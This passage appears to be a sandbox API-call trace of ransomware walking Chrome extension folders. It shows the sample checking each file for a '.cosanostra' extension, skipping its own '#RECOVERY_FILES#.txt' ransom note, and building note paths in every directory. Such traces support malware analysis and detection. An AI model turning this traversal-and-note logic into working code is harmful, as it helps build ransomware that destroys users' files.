Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\#RECOVERY_FILES#.txt") returned 160 [0087.056] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\#RECOVERY_FILES#.txt") returned 160 [0087.056] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\#RECOVERY_FILES#.txt") returned 150 [0087.056] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\#RECOVERY_FILES#.txt") returned 150 [0087.056] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\#RECOVERY_FILES#.txt") returned 144 [0087.056] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\#RECOVERY_FILES#.txt") returned 144 [0087.057] wnsprintfW (in: pszDest=0x2fd0090, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm") returned 123 [0087.057] lstrcmpW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2=".") returned 1 [0087.057] lstrcmpW (lpString1="pkedcjkdefgpdelpbcmbmeomcjbeemfm", lpString2="..") returned 1 [0087.058] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*") returned 125 [0087.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", lpFindFileData=0x2cfd648 | out: lpFindFileData=0x2cfd648) returned 0x25a9b0 [0087.059] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\.") returned 125 [0087.059] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.059] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\..") returned 126 [0087.059] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.059] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.059] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned 138 [0087.059] lstrcmpW (lpString1="5817.313.0.5_0", lpString2=".") returned 1 [0087.059] lstrcmpW (lpString1="5817.313.0.5_0", lpString2="..") returned 1 [0087.060] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*") returned 140 [0087.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", lpFindFileData=0x2cfd2a8 | out: lpFindFileData=0x2cfd2a8) returned 0x25a9f0 [0087.213] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\.") returned 140 [0087.213] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.235] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\..") returned 141 [0087.235] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.235] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.236] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 149 [0087.236] StrStrIW (lpFirst="angular.js", lpSrch=".cosanostra") returned 0x0 [0087.236] lstrcmpW (lpString1="angular.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.236] lstrcmpW (lpString1="angular.js", lpString2="_uninstalling_.png") returned 1 [0087.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned 149 [0087.236] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 159 [0087.236] StrStrIW (lpFirst="background_script.js", lpSrch=".cosanostra") returned 0x0 [0087.236] lstrcmpW (lpString1="background_script.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.236] lstrcmpW (lpString1="background_script.js", lpString2="_uninstalling_.png") returned 1 [0087.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned 159 [0087.236] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 158 [0087.236] StrStrIW (lpFirst="cast_game_sender.js", lpSrch=".cosanostra") returned 0x0 [0087.236] lstrcmpW (lpString1="cast_game_sender.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.236] lstrcmpW (lpString1="cast_game_sender.js", lpString2="_uninstalling_.png") returned 1 [0087.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned 158 [0087.236] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 162 [0087.236] StrStrIW (lpFirst="cast_route_details.html", lpSrch=".cosanostra") returned 0x0 [0087.236] lstrcmpW (lpString1="cast_route_details.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.236] lstrcmpW (lpString1="cast_route_details.html", lpString2="_uninstalling_.png") returned 1 [0087.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html") returned 162 [0087.236] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 160 [0087.236] StrStrIW (lpFirst="cast_route_details.js", lpSrch=".cosanostra") returned 0x0 [0087.236] lstrcmpW (lpString1="cast_route_details.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.236] lstrcmpW (lpString1="cast_route_details.js", lpString2="_uninstalling_.png") returned 1 [0087.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js") returned 160 [0087.236] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 153 [0087.236] StrStrIW (lpFirst="cast_sender.js", lpSrch=".cosanostra") returned 0x0 [0087.236] lstrcmpW (lpString1="cast_sender.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.236] lstrcmpW (lpString1="cast_sender.js", lpString2="_uninstalling_.png") returned 1 [0087.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js") returned 153 [0087.237] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup") returned 149 [0087.237] lstrcmpW (lpString1="cast_setup", lpString2=".") returned 1 [0087.237] lstrcmpW (lpString1="cast_setup", lpString2="..") returned 1 [0087.237] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*") returned 151 [0087.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 0x25aa30 [0087.309] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\.") returned 151 [0087.309] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.309] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\..") returned 152 [0087.320] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.320] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.320] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 162 [0087.320] StrStrIW (lpFirst="cast_app.css", lpSrch=".cosanostra") returned 0x0 [0087.320] lstrcmpW (lpString1="cast_app.css", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.320] lstrcmpW (lpString1="cast_app.css", lpString2="_uninstalling_.png") returned 1 [0087.320] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 162 [0087.320] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 161 [0087.320] StrStrIW (lpFirst="cast_app.js", lpSrch=".cosanostra") returned 0x0 [0087.320] lstrcmpW (lpString1="cast_app.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.320] lstrcmpW (lpString1="cast_app.js", lpString2="_uninstalling_.png") returned 1 [0087.320] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js") returned 161 [0087.320] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 170 [0087.320] StrStrIW (lpFirst="cast_app_redirect.js", lpSrch=".cosanostra") returned 0x0 [0087.320] lstrcmpW (lpString1="cast_app_redirect.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.320] lstrcmpW (lpString1="cast_app_redirect.js", lpString2="_uninstalling_.png") returned 1 [0087.320] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js") returned 170 [0087.320] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 174 [0087.320] StrStrIW (lpFirst="chromecast_logo_grey.png", lpSrch=".cosanostra") returned 0x0 [0087.320] lstrcmpW (lpString1="chromecast_logo_grey.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.320] lstrcmpW (lpString1="chromecast_logo_grey.png", lpString2="_uninstalling_.png") returned 1 [0087.320] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 174 [0087.321] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 162 [0087.321] StrStrIW (lpFirst="devices.html", lpSrch=".cosanostra") returned 0x0 [0087.321] lstrcmpW (lpString1="devices.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.321] lstrcmpW (lpString1="devices.html", lpString2="_uninstalling_.png") returned 1 [0087.321] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 162 [0087.321] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 160 [0087.321] StrStrIW (lpFirst="index.html", lpSrch=".cosanostra") returned 0x0 [0087.321] lstrcmpW (lpString1="index.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.321] lstrcmpW (lpString1="index.html", lpString2="_uninstalling_.png") returned 1 [0087.321] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 160 [0087.321] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 161 [0087.321] StrStrIW (lpFirst="offers.html", lpSrch=".cosanostra") returned 0x0 [0087.321] lstrcmpW (lpString1="offers.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.321] lstrcmpW (lpString1="offers.html", lpString2="_uninstalling_.png") returned 1 [0087.321] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 161 [0087.321] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 160 [0087.321] StrStrIW (lpFirst="setup.html", lpSrch=".cosanostra") returned 0x0 [0087.321] lstrcmpW (lpString1="setup.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.321] lstrcmpW (lpString1="setup.html", lpString2="_uninstalling_.png") returned 1 [0087.321] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 160 [0087.322] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\#RECOVERY_FILES#.txt") returned 170 [0087.322] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\#RECOVERY_FILES#.txt") returned 170 [0087.322] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details") returned 158 [0087.322] lstrcmpW (lpString1="cloud_route_details", lpString2=".") returned 1 [0087.322] lstrcmpW (lpString1="cloud_route_details", lpString2="..") returned 1 [0087.323] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*") returned 160 [0087.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 0x25aa30 [0087.324] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\.") returned 160 [0087.324] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.324] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\..") returned 161 [0087.324] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.324] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.324] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 168 [0087.324] StrStrIW (lpFirst="view.html", lpSrch=".cosanostra") returned 0x0 [0087.324] lstrcmpW (lpString1="view.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.324] lstrcmpW (lpString1="view.html", lpString2="_uninstalling_.png") returned 1 [0087.324] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 168 [0087.325] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 166 [0087.325] StrStrIW (lpFirst="view.js", lpSrch=".cosanostra") returned 0x0 [0087.325] lstrcmpW (lpString1="view.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.325] lstrcmpW (lpString1="view.js", lpString2="_uninstalling_.png") returned 1 [0087.325] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js") returned 166 [0087.325] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\#RECOVERY_FILES#.txt") returned 179 [0087.325] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\#RECOVERY_FILES#.txt") returned 179 [0087.325] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 148 [0087.325] StrStrIW (lpFirst="common.js", lpSrch=".cosanostra") returned 0x0 [0087.325] lstrcmpW (lpString1="common.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.325] lstrcmpW (lpString1="common.js", lpString2="_uninstalling_.png") returned 1 [0087.325] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js") returned 148 [0087.325] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 151 [0087.325] StrStrIW (lpFirst="feedback.css", lpSrch=".cosanostra") returned 0x0 [0087.325] lstrcmpW (lpString1="feedback.css", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.325] lstrcmpW (lpString1="feedback.css", lpString2="_uninstalling_.png") returned 1 [0087.325] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.css") returned 151 [0087.325] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html") returned 152 [0087.325] StrStrIW (lpFirst="feedback.html", lpSrch=".cosanostra") returned 0x0 [0087.325] lstrcmpW (lpString1="feedback.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.325] lstrcmpW (lpString1="feedback.html", lpString2="_uninstalling_.png") returned 1 [0087.325] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html") returned 152 [0087.325] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js") returned 157 [0087.325] StrStrIW (lpFirst="feedback_script.js", lpSrch=".cosanostra") returned 0x0 [0087.325] lstrcmpW (lpString1="feedback_script.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.325] 